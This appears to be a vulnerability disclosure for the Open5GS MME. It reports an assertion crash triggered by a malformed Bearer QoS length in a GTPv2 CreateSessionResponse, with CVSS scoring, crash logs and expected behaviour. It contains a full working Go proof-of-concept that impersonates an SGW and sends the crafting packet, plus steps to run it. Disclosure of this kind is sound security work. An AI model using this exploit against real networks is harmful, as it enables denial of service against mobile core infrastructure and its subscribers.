| Description | ### Description
In mme_s11_handle_create_session_response() the code still asserts:
`ogs_assert(decoded == rsp->bearer_contexts_created[0].bearer_level_qos.len);`
Even if ogs_gtp2_parse_bearer_qos() is patched to return 0 (inhttps://github.com/open5gs/open5gs/commit/4e913d21f2c032b187815f063dbab5ebe65fe83a) when IE length != 22, the handler still asserts on decoded == len.
An attacker can send a CreateSessionResponse with a malformed bearer_level_qos.len (e.g., not 22). The parser returns 0, the assertion fails, and MME aborts.
But, I only tested in v2.7.6 version.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
var (
mmeIP = flag.String("mme", "", "MME IP address (S11 interface)")
mmePort = flag.Int("mme-port", 2123, "MME S11 GTP-C port")
sgwIP = flag.String("sgw", "10.44.44.4", "SGW IP address (local)")
sgwPort = flag.Int("sgw-port", 2123, "SGW S11 GTP-C port (local)")
pgwIP = flag.String("pgw", "10.44.44.4", "PGW IP address (S5C/S5U F-TEID)")
bearerQoSLen = flag.Int("bearer-qos-len", 1, "Malformed Bearer QoS length (normal is 22)")
sgwTEID = flag.Uint("sgw-teid", 0x22222222, "SGW S11 TEID for response")
pgwTEID = flag.Uint("pgw-teid", 0xABCDEF00, "PGW S5C TEID for response")
sgwS1uTEID = flag.Uint("sgw-s1u-teid", 0x33333333, "SGW S1-U TEID for bearer context")
pgwS5uTEID = flag.Uint("pgw-s5u-teid", 0x44444444, "PGW S5-U TEID for bearer context")
bearerID = flag.Uint("ebi", 5, "EPS Bearer ID")
responseTimeout = flag.Duration("timeout", 120*time.Second, "Timeout waiting for CreateSessionRequest")
)
func main() {
flag.Parse()
if *mmeIP == "" {
log.Fatal("Error: -mme parameter is required (MME S11 IP address)")
}
log.Printf("[*] Vuln-PA1-03 PoC: Bearer QoS Length Assertion (MME S11)")
log.Printf("[*] Target: MME at %s:%d", *mmeIP, *mmePort)
log.Printf("[*] Mock SGW: %s:%d", *sgwIP, *sgwPort)
log.Printf("[*] Malformed Bearer QoS length: %d (normal: 22)", *bearerQoSLen)
log.Println("[*] Trigger an attach/TAU so MME sends CreateSessionRequest to SGW")
runSGWMock()
}
func runSGWMock() {
addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *sgwIP, *sgwPort))
if err != nil {
log.Fatalf("[SGW] Failed to resolve address: %v", err)
}
conn, err := net.ListenUDP("udp", addr)
if err != nil {
log.Fatalf("[SGW] Failed to listen: %v", err)
}
defer conn.Close()
log.Printf("[SGW] Mock server listening on %s:%d", *sgwIP, *sgwPort)
log.Println("[SGW] Waiting for CreateSessionRequest from MME...")
buf := make([]byte, 4096)
for {
conn.SetReadDeadline(time.Now().Add(*responseTimeout))
n, remoteAddr, err := conn.ReadFromUDP(buf)
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
log.Println("[SGW] Timeout waiting for messages")
continue
}
log.Printf("[SGW] Read error: %v", err)
continue
}
if n < 12 {
continue
}
msgType := buf[1]
if msgType != 32 { // CreateSessionRequest
continue
}
log.Printf("[SGW] Received CreateSessionRequest from MME (%d bytes)", n)
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[SGW] Failed to parse message: %v", err)
continue
}
csReq, ok := msg.(*message.CreateSessionRequest)
if !ok {
log.Println("[SGW] Message is not CreateSessionRequest")
continue
}
seqNum := csReq.Sequence()
mmeS11TEID := extractMMETEID(csReq)
if mmeS11TEID == 0 {
log.Println("[SGW] Warning: Could not extract MME S11 TEID, using 0")
}
log.Println("[*] Crafting malicious CreateSessionResponse...")
log.Printf(" TEID: 0x%08x", mmeS11TEID)
log.Printf(" Sequence: 0x%06x", seqNum)
csResp := buildMaliciousCreateSessionResponse(mmeS11TEID, seqNum)
respBuf, err := csResp.Marshal()
if err != nil {
log.Printf("[SGW] Failed to marshal response: %v", err)
continue
}
log.Println("[*] Vulnerability Trigger:")
log.Println(" 1. MME receives CreateSessionResponse on S11 interface")
log.Println(" 2. mme_s11_handle_create_session_response() parses Bearer QoS")
log.Printf(" 3. Executes: ogs_gtp2_parse_bearer_qos(len=%d)", *bearerQoSLen)
log.Println(" 4. Assertion fails on length mismatch")
log.Printf("[*] Sending malicious CreateSessionResponse (%d bytes)...", len(respBuf))
_, err = conn.WriteToUDP(respBuf, remoteAddr)
if err != nil {
log.Printf("[SGW] Failed to send response: %v", err)
} else {
log.Printf("[+] Malicious CreateSessionResponse sent successfully")
log.Println("[*] Expected behavior:")
log.Println(" - MME crash due to Bearer QoS length assertion")
log.Println(" - Location: src/mme/mme-s11-handler.c:449-453")
}
log.Println("\n[*] PoC execution completed")
log.Println("[*] Verify MME logs for assertion failure")
return
}
}
func extractMMETEID(csReq *message.CreateSessionRequest) uint32 {
if csReq == nil {
return 0
}
if fteid := csReq.SenderFTEIDC; fteid != nil {
teid, err := fteid.TEID()
if err == nil {
return teid
}
}
return 0
}
func buildMalformedBearerQoS(length int) *ie.IE {
if length < 0 {
length = 0
}
data := make([]byte, length)
if length > 0 {
data[0] = 0x09 // QCI-like value, not used when length is invalid
}
return ie.New(ie.BearerQoS, 0x00, data)
}
func buildMaliciousCreateSessionResponse(teid, seqNum uint32) *message.CreateSessionResponse {
bearerQoS := buildMalformedBearerQoS(*bearerQoSLen)
bearerCtx := ie.NewBearerContext(
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewEPSBearerID(uint8(*bearerID)),
bearerQoS,
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS1USGWGTPU, uint32(*sgwS1uTEID), *sgwIP, ""),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, uint32(*pgwS5uTEID), *pgwIP, "").WithInstance(2),
)
return message.NewCreateSessionResponse(
teid, seqNum,
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11S4SGWGTPC, uint32(*sgwTEID), *sgwIP, ""),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, uint32(*pgwTEID), *pgwIP, "").WithInstance(1),
ie.NewPDNAddressAllocation("10.45.0.2"),
bearerCtx,
)
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the SGW-C address: `go run main.go -mme 10.44.44.5 -sgw 10.44.44.4`
### Logs
```shell
01/13 11:31:05.564: [gtp] FATAL: ogs_gtp2_parse_bearer_qos: Assertion `octet->len == GTP2_BEARER_QOS_LEN' failed. (../lib/gtp/v2/types.c:34)
01/13 11:31:05.564: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37)
/usr/local/lib/libogsgtp.so.2(ogs_gtp2_parse_bearer_qos+0x162) [0x7df065096f0a]
open5gs-mmed(+0xabf7b) [0x5ce006542f7b]
open5gs-mmed(+0x8f37a) [0x5ce00652637a]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7df0655a243f]
open5gs-mmed(+0x9f43) [0x5ce0064a0f43]
/usr/local/lib/libogscore.so.2(+0x119a3) [0x7df0655929a3]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7df064ea7ac3]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7df064f38a74]
/usr/local/bin/entrypoint.sh: line 8: 8 Aborted open5gs-mmed "${@}"
```
### Expected behaviour
Malformed Bearer QoS IE should be rejected gracefully (e.g., return an error cause such as MANDATORY_IE_INCORRECT) without crashing the MME process.
### Observed Behaviour
MME aborts with assertion failure.
### eNodeB/gNodeB
srsRAN_4G
### UE Models and versions
srsRAN_4G |
|---|